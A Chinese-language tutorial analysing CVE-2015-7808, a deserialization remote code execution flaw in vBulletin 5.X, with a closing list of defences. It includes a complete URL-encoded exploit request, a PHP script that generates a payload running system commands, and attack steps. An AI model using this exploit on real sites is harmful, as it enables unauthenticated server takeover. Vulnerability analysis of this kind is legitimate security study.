vBulletin5.X前台RCE分析(CVE-2015-7808)
字数 1242 2025-08-26 22:11:22
vBulletin 5.X 前台 RCE 漏洞分析 (CVE-2015-7808) 教学文档
漏洞概述
CVE-2015-7808 是 vBulletin 5.X 版本中存在的一个远程代码执行漏洞,通过反序列化攻击链实现前台代码执行。该漏洞允许攻击者在无需认证的情况下,通过精心构造的序列化数据执行任意 PHP 代码。
环境要求
- 操作系统:Ubuntu 16.04
- Web 服务器:Apache
- PHP 版本:5.6.40
- vBulletin 版本:5.1.4
漏洞分析
漏洞入口
漏洞触发点位于 /vBulletin/ajax/api/hook/decodeArguments 路由,通过 arguments 参数传递恶意序列化数据:
GET /vBulletin/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A17%3A%22vB_Database_MySQL%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A6%3A%22assert%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bs%3A9%3A%22phpinfo%28%29%22%3B%7D
攻击流程
-
路由处理:
- 请求被
vB5_Frontend_ApplicationLight类的execute方法处理 - 根据
$_REQUEST['routestring']调用handleAjaxApi方法
- 请求被
-
反序列化触发:
- 最终调用
vB_Api_Hook类的decodeArguments方法 - 对
arguments参数进行反序列化操作
- 最终调用
-
攻击链构造:
- 反序列化时实例化
vB_dB_Result类 - 对该对象进行迭代时触发
rewind方法 rewind方法调用$this->db->free_result($this->recordset)free_result方法动态调用函数,参数可控
- 反序列化时实例化
关键类分析
-
vB_dB_Result 类:
class vB_dB_Result { protected $db; protected $recordset; public function rewind() { if ($this->recordset) { $this->db->free_result($this->recordset); } } } -
vB_Database_MySQL 类:
class vB_Database_MySQL { protected $functions = array(); public function free_result($queryresult) { $function = $this->functions['free_result']; return $function($queryresult); } }
漏洞利用
EXP 构造
<?php
class vB_Database_MySQLi {
var $functions = array();
public function __construct($functions = '') {
$this->functions['free_result'] = $functions;
}
}
class vB_dB_Result {
protected $db = false;
protected $recordset = false;
public function __construct($db='', $recordset='') {
$this->db = $db;
$this->recordset = $recordset;
}
}
$vb_database_mysqli = new vB_Database_MySQLi('system');
$vb_db_result = new vB_dB_Result($vb_database_mysqli, 'id');
echo urlencode(serialize($vb_db_result));
攻击步骤
-
构造恶意序列化对象:
- 创建
vB_Database_MySQLi实例,设置free_result为要执行的函数名(如system) - 创建
vB_dB_Result实例,设置db为上面的实例,recordset为要执行的命令
- 创建
-
URL 编码序列化后的字符串
-
发送 GET 请求到
/vBulletin/ajax/api/hook/decodeArguments,参数为编码后的序列化字符串
防御措施
- 升级 vBulletin:应用官方补丁
- 输入验证:对反序列化的数据进行严格验证
- 禁用危险函数:禁用
unserialize或限制其使用 - 使用白名单:反序列化时使用类白名单机制
- 日志监控:监控可疑的反序列化操作
参考链接
总结
CVE-2015-7808 是一个典型的反序列化漏洞,通过精心构造的序列化数据触发对象的方法调用链,最终实现任意代码执行。理解该漏洞有助于开发者更好地防范类似安全问题,特别是在处理用户可控的反序列化数据时。